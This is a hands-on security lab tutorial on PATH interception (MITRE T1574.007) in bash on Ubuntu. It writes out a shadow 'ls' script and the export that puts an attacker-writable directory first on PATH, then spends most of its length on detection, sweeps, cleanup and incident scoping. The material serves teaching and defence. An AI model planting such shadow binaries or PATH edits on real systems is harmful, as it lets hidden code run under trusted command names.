GH-007 T1574.007 PHASE RED INSIDE

The Shadowed Path

You type ls. The shell goes looking for it. Tonight it finds the wrong one first, and nothing looks wrong. This file plants the shadow, then asks the shell who answered.

TechniquePath interception (PATH)
Target OSUbuntu 24.04.5 LTS
Toolchainbash 5.2
LevelBeginner
Time20 min

OBJECTIVES

  1. Poison PATH with a shadow ls, run the bare name, and watch the output look perfectly normal
  2. Ask type -a who answered, read the search order, and sweep PATH for open doors
  3. Disarm the shadow, and narrow where the trick can run
  4. Take the IOC checklist and the one-sentence lesson
01

Intel Brief

CONTEXT

MITRE ATT&CK T1574.007: adversaries plant an executable with a trusted name in a directory PATH searches first, so the bare name you type runs their code. This file plants the shadow, then asks the shell who answered.

Why this technique. Every operator types bare names all day: ls, ps, grep, systemctl. You type the name, and something invisible turns the name into a file. That invisible step is the attack surface. If an attacker can put their own directory at the front of the search, their file answers to a trusted name, and everything after that looks completely normal. The operator never sees the search, only its result.

Why not just always use absolute paths. The obvious fix is to never type a bare name: always /usr/bin/ls, everywhere, forever. It works, and no human will do it. Typing bare names is not a discipline failure; it is what the shell is designed for. Scripts and cron jobs can and should pin absolute paths, and Countermeasures says so. But the interactive operator is the target here. The technique attacks the operator's hands, not the system's configuration, so the fix that only covers scripts misses the person being attacked.

Why a name is not an address. When you type a bare name, bash does not know where the program lives, so it searches. PATH is the search path: a colon-separated list of directories. The shell checks each directory left to right and runs the first executable file with that name. That left-to-right checking is the resolution order. Shadowing is what happens when an early directory holds a file with the same name as a later one: the early file answers, and the later one never gets asked. Nothing is hijacked in the kernel. The shell simply asked the wrong directory first, because the search path told it to.

The concrete case, before the abstraction. export PATH=/tmp/gh007/bin:$PATH puts an attacker directory at the front of the search. The bare name ls now runs /tmp/gh007/bin/ls, a script that touches a hidden marker and hands off to the real /bin/ls. The output looks exactly like ls. The marker file proves the shadow ran. type -a ls lists every directory that would answer, in order: the shadow first, the real ones after.

Terms, earned. PATH is the colon-separated list of directories the shell searches for a bare command name. Resolution order is the left-to-right checking of those directories; first match wins. Shadowing is an early directory answering a name that a later directory also holds. type -a is the bash builtin that lists every file that would answer a name, in resolution order.

Scope. T1574 Hijack Execution Flow covers twelve sub-techniques, from DLL search-order hijacking to service binary replacement. This file works the PATH environment variable case end to end: the search order every interactive shell performs, and the one builtin that reveals who answered.

02

Target Environment

LOADOUT

Ubuntu 24.04.5 LTS with bash 5.2, x86-64, in a disposable VM used only for this lab. The attack needs no privilege: any user who can put a directory early on PATH, or edit the PATH assignment in their own shell startup, can run it. The lab stands in for the attacker with one directory and one script.

1

Build the lab

One directory for the attacker, one script for the shadow. The directory gets world-writable permissions on purpose: it stands in for any directory the attacker can write to, and the blue phase needs a real open door to find.

bash
$ mkdir -p /tmp/gh007/bin
$ cat > /tmp/gh007/bin/ls <<'EOF'
> #!/bin/sh
> # GH-007 lab shadow: answers the bare name "ls" from an early PATH dir.
> # It leaves a hidden marker so you can prove it ran, then hands off to the real ls.
> touch /tmp/gh007/.pwned
> exec /bin/ls "$@"
> EOF
$ chmod +x /tmp/gh007/bin/ls
$ chmod 777 /tmp/gh007/bin
2

The payload: the shadow script

Five lines. Every line glossed, because the whole attack lives in this file.

sh: /tmp/gh007/bin/ls
#!/bin/sh
# GH-007 lab shadow: answers the bare name "ls" from an early PATH dir.
# It leaves a hidden marker so you can prove it ran, then hands off to the real ls.
touch /tmp/gh007/.pwned
exec /bin/ls "$@"

Line by line. #!/bin/sh runs the file under the system shell, so it executes wherever /tmp/gh007/bin/ls is found. The two comment lines say what the file is for; they do nothing, and they are the only honest part of the file. touch /tmp/gh007/.pwned is the proof: it creates a hidden marker file, so the marker's existence later proves this script ran even though its output looked exactly like ls. exec /bin/ls "$@" is the handoff: it replaces this script's process with the real /bin/ls, passing every argument through unchanged, so the output is indistinguishable from the real thing and no extra process lingers to be noticed.

03

Phase Red: answer to a trusted name

ATTACK

Four commands. Put the attacker directory at the front of the search, type the trusted name, watch it behave perfectly, then find the proof it ran. Every command below is copy-pasteable.

Real screen recording 14.3s
What you are watching: The search path is poisoned, the bare name ls is typed, the output looks perfect, and a hidden marker proves the shadow ran. Every command below is copy-pasteable.
1

Poison the search

One export puts the attacker directory at the front of the search order. The rm clears last run's marker so this run's proof is fresh.

bash
$ rm -f .pwned && export PATH=/tmp/gh007/bin:$PATH

Note what this export does and does not touch. PATH is per-process: this shell and its children now search the attacker directory first. No other shell, no cron job, no other user is affected. That per-process fact is both the attack's limit and its cover: it only poisons the shells it reaches, and the shells it reaches look completely normal.

2

Type the trusted name

The most typed two letters in the operator's day.

bash
$ ls
bin

The output is perfectly normal. Nothing about it says a shadow ran, because the shadow handed off to the real ls after doing its work. The shadow's whole job is to be invisible, and it is.

3

The proof it ran

The output looked like ls. The marker says otherwise.

bash
$ ls -l .pwned
-rw-rw---- 1 root root 0 Sep 17 01:29 .pwned

The marker exists. The bare name ls ran attacker code first, then the real ls. The output looked like ls because the shadow made it look like ls; the marker is the part it could not hide, because the marker is the payload's actual effect. In a real attack this marker is whatever the attacker wanted: a copied credential, an opened socket, a second payload staged.

4

Ask who answered

type -a lists every file the search would find, in resolution order.

bash
$ type -a ls
ls is /tmp/gh007/bin/ls
ls is /usr/bin/ls
ls is /bin/ls

The shadow is first. The real ls was there all along, second and third; it never got asked. First match wins is the entire mechanism, and it is working exactly as designed.

Stealth confirmed

One export redirected the trusted name ls to attacker code in this shell, and the output was indistinguishable from the real thing. The forgery cost one directory and one line, and nothing the operator saw was wrong, because the operator never saw the search, only its result.

04

Phase Blue: ask the resolver

DEFENSE

The red phase trusted the name. Now ask the questions the name cannot answer: which file would the shell run, what is the search order, and which doors on that search are open. Every command below is copy-pasteable.

Here is the trap: running ls, seeing normal output, and concluding the system is clean. The output is data the shadow produced. The check that works never runs the program at all. It asks the resolver which file would run.

Real screen recording 24.7s
What you are watching: The resolver names the shadow first, the search order shows the attacker directory ahead of every system directory, one sweep flags it, and sudo resolves clean. Every command below is copy-pasteable.
1

Ask the resolver, not the program

type is a shell builtin: it reports what the shell would run without running anything. -a lists every match in order. command -v prints the single file that answers first.

bash
$ type -a ls
ls is /tmp/gh007/bin/ls
ls is /usr/bin/ls
ls is /bin/ls
$ command -v ls
/tmp/gh007/bin/ls

The question is not what ls does. The question is which file answers to the name ls. The first answer is the shadow. Notice the check costs nothing and runs no untrusted code: asking is safe even when the answer is hostile.

2

Read the search order

PATH is a colon-separated list. tr turns the colons into newlines so the order reads top to bottom, first searched at the top.

bash
$ echo "$PATH" | tr ':' '\n'
/tmp/gh007/bin
/usr/local/sbin
/usr/local/bin
/usr/sbin
/usr/bin
/sbin
/bin

The first line is the attacker's directory, searched before every system directory on the box. Whoever owns an early directory answers first. The order is the vulnerability; the file is just its passenger.

3

Look at the directory that answered first

A directory on PATH is a directory you execute code from on every bare command. Check who can write to it.

bash
$ ls -ld /tmp/gh007/bin
drwxrwxrwx 2 root root 60 Sep 17 01:27 /tmp/gh007/bin

drwxrwxrwx: anyone on the box can write here. A directory any local user can write to, sitting at the front of your search path, is an open door with your name on it. This is the one fact that makes the whole attack possible.

4

Sweep the whole search path for open doors

One line walks every directory on PATH and flags the ones writable by anyone. ${PATH//:/ } turns the colons into spaces so the loop sees each directory; find checks the world-writable bit (-perm -0002); -L follows symlinks so a link cannot hide the target's real permissions.

bash
$ for d in ${PATH//:/ }; do find -L "$d" -maxdepth 0 -perm -0002 2>/dev/null; done
/tmp/gh007/bin

Exactly one open door, and it is the attacker's.

That sweep has a hole, and the hole is the realistic case. It only flags world-writable directories. A directory owned by you, mode 755, sitting early in your PATH, is not world-writable and shadows you just as well. Verified: a 755 user-owned directory placed ahead of the world-writable one answered ls first (its marker proved it ran), and the sweep above never flagged it. Sweep for what is writable by you, not just by everyone, and flag the empty entries the simple loop skips (an empty entry means your current directory is on PATH):

bash
$ IFS=: read -ra DIRS <<< "$PATH"
$ for d in "${DIRS[@]}"; do
>   [ -z "$d" ] && { echo "EMPTY PATH ENTRY: current directory is on PATH"; continue; }
>   find -L "$d" -maxdepth 0 -writable 2>/dev/null
> done
/tmp/early/bin
/tmp/ww/bin

Both doors now, including the one that actually shadowed you. Run this form as yourself: -writable is evaluated for the user running it, which is exactly the question "can I be shadowed through this directory."

The fleet form, run as root across hosts, flags what any non-root attacker could plant into: world-writable, or owned by someone other than root:

bash
$ for d in ${PATH//:/ }; do find -L "$d" -maxdepth 0 \( -perm -0002 -o ! -user root \) 2>/dev/null; done

Run the personal form on a timer for the shells that matter (yours, root's, the service accounts'): PATH is per-process, and your PATH is not root's.

Good vs bad: a clean box prints nothing (or only directories you recognize as yours). Any entry you did not put there, any empty entry, any directory writable by a user who should not be writing executables, is the finding.

Honest limit. The sweep sees the current shell's PATH only. A directory late in PATH, after the system directories, cannot shadow the system binaries but is still poor hygiene; the sweep flags it anyway, and that is fine. What the sweep can never see is the PATH-edit case: an attacker who rewrote your ~/.bashrc does not need a writable directory. Pair the sweep with the startup-file watch below.

First principle: ask the resolver, and ask it the complete question. A check that only looks for world-writable doors teaches the attacker to use doors with your name on them.

5

Watch the shadow vanish under sudo

sudo does not inherit your PATH. It replaces it with secure_path, a compiled-in safe list, and the attacker's directory is not on it.

bash
$ sudo -n env | grep '^PATH='
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin
$ sudo -n sh -c 'type ls'
ls is /usr/bin/ls

Same bare name, different answer: under sudo, ls resolves to /usr/bin/ls. The shadow is still on disk, but nobody asks it. This is what a controlled search looks like: the search path is chosen by the defender, not inherited from whoever called.

6

Disarm it: take the directory out of the search

Remove the attacker directory from PATH with a pattern that does not depend on where it sits, then confirm the search is clean:

bash
$ export PATH=$(IFS=:; set -f; for d in $PATH; do [ "$d" = /tmp/gh007/bin ] || printf '%s:' "$d"; done | sed 's/:$//')
$ type -a ls
ls is /usr/bin/ls
ls is /bin/ls

The shadow file is still on disk; removing its directory from the search disarms it for this shell. Deleting the file disarms it for every shell. Do both: fix the search, then remove the file.

A note on the old form: export PATH=${PATH/\/tmp\/gh007\/bin:/} only matches when the directory is followed by a colon, so an attacker directory sitting last in PATH survives it (verified). And hash -r after a PATH edit is belt-and-braces: bash already flushes its remembered command locations every time PATH is assigned, so a cached shadow cannot survive the edit. The PATH edit is the mechanism; the re-check with type -a is the proof.

First principle: verify the disarm with the same question that found the problem. type -a named the shadow; type -a confirms it is gone.

Detection verified

The resolver was asked directly and named the shadow first. The search order showed the attacker directory ahead of every system directory. The sweep flagged exactly one world-writable directory on PATH. sudo's secure_path proved the fix's shape: a search path you control answers to files you trust.

05

Countermeasures

DEFENSE

Four moves, in order: remove it, watch for the next one, make the trick harder to run, scope what it reached. Each is one way, not the way.

1

Mitigate: fix the search, remove the file

The poison lives in the shell's environment, so the PATH fix from Phase Blue ends it for the poisoned shell. The file lives on disk, so deleting it ends it for every shell. Do both, and find where the export came from: a real attacker's persists in ~/.bashrc, ~/.profile, or a systemd unit, not in a typed command.

bash
$ rm -rf /tmp/gh007

Then hunt the export at its source. A typed export dies with the shell; a real attacker's persists, so check every place an export can live:

bash
$ grep -rn 'PATH=' ~/.bashrc ~/.profile ~/.bash_profile /etc/profile /etc/profile.d/ /etc/environment 2>/dev/null
$ grep -rn 'Environment=PATH' ~/.config/systemd/user/ /etc/systemd/system/ 2>/dev/null
$ grep -r 'PATH=' /etc/cron* /var/spool/cron/ 2>/dev/null
2

Monitor: sweep the search on a schedule

The fixed sweep from Phase Blue, run on a timer: the personal form for the shells that matter (yours, root's, the service accounts'), the fleet form across hosts as root. Alert on any entry you did not put there, any empty entry, or any directory writable by a user who should not be writing executables. Pair it with the startup-file watch in the mitigation below: an attacker who rewrote your shell startup files never needed a writable directory. This is the fleet form of the check: the idea does not change, only the coverage.

3

Prevent: own the search path

Keep every directory on PATH owned by root and not world-writable, and the drop-in-file case dies: the attacker has nowhere early to plant the shadow. Pin absolute paths in cron jobs and scripts, where no human is typing and nothing is lost by spelling it out. sudo's secure_path, shown in Phase Blue, is the production form of the same idea: the privileged search path is chosen by the defender. D3FEND's heavier answer is Executable Allowlisting (D3-EAL): only signed, approved executables run at all, so a shadow planted anywhere is refused at exec time.

Honest limit. Root-owned PATH directories stop the drop-in-file case, not the PATH-edit case: an attacker who can write your ~/.bashrc does not need a writable directory, they just prepend their own. The sweep only sees the current shell's PATH, and PATH is per-process, so sweep the shells that matter (root's, the service accounts') not just your own. sudo's secure_path protects commands run through sudo only; it does nothing for the interactive shell where you type bare names all day. Absolute paths defeat the search entirely, but only where they are used. And this demo is user-level: no privilege was gained and none was needed. PATH interception is a stealth technique, not a privilege escalation; do not present it as one.

4

Mitigate: scope what the shadow ran as

Deleting the file ends the trick; it does not end the incident. The shadow ran with your privileges, in every shell that sourced the poisoned PATH. Until scoped, assume everything that user could reach was reached.

1. Find where the export came from. A typed export dies with the shell; a real attacker's persists. Hunt it:

bash
$ grep -rn 'PATH=' ~/.bashrc ~/.profile ~/.bash_profile /etc/profile /etc/profile.d/ /etc/environment 2>/dev/null
$ grep -rn 'Environment=PATH' ~/.config/systemd/user/ /etc/systemd/system/ 2>/dev/null
$ grep -r 'PATH=' /etc/cron* /var/spool/cron/ 2>/dev/null

Kill the persistence, not just the file: remove the export at its source, then the directory, then start a clean shell and re-run type -a on the names you type most.

2. Scope what ran. The shadow executed as you. Inventory what that user can touch without a password: SSH keys (~/.ssh), cloud and API tokens in shell history and env files, sudo without password (check sudo -n true), and any agent sockets. Anything the shadow could have read, rotate or re-issue; "it probably only logged" is not a finding.

3. Check for siblings. One shadow is a technique; look for the campaign: re-run the fixed sweep for every user with an interactive shell, and diff the startup files above against your configuration baseline.

What this does not do: it does not prove the negative. If the shadow was sophisticated, assume the shell's history is also co-authored and corroborate from the host's auth logs and the network egress records, which the shadow could not rewrite from inside your shell.

First principle: contain the blast radius, not the file. The file was never the asset at risk; your user's reach was.

Countermeasures verified

The shadow is disarmed by removing its directory from the search and deleting the file. The sweep finds the next one. Root-owned PATH directories, absolute paths in automation, and sudo's secure_path narrow where the trick can run. None of them changes the core fact: a bare name is a question, and the search order decides who answers.

06

Debrief

TAKEAWAY

A bare name is a search, not an address: check who answers before you trust the answer.

IOC checklist: signs this technique was used

  • type -a on common names (ls, ps, ssh, sudo) returning a file outside /usr/bin, /bin, /usr/sbin, /sbin
  • A world-writable directory on PATH, especially early in the resolution order
  • PATH assignments in ~/.bashrc, ~/.profile, or /etc/profile.d the admin did not put there
  • Recently modified files in early PATH directories (ls -lt on each one)
  • sudo resolving a different binary than the user's shell for the same bare name

Reproducibility checklist

  • Verified on Ubuntu 24.04.5 LTS, bash 5.2, x86-64, on 2026-09-16
  • Both recordings are real executions on that platform, not simulations
  • The attack runs fully unprivileged: no sudo, no special capability, no kernel anything
  • PATH is per-process: the poison affected only the recording shell
  • Cleanup: close the shell or re-export a clean PATH; rm -rf /tmp/gh007

Sources

MITRE ATT&CK T1574.007: Path Interception by PATH Environment Variable
bash(1) (command search and execution: how a bare name becomes a file)
sudoers(5) (secure_path: the controlled search)
MITRE D3FEND: D3-EAL, D3-CI

Next file

GH-008 The Interrogation

Before it acts, the payload asks where it is. The next file watches it check for a sandbox.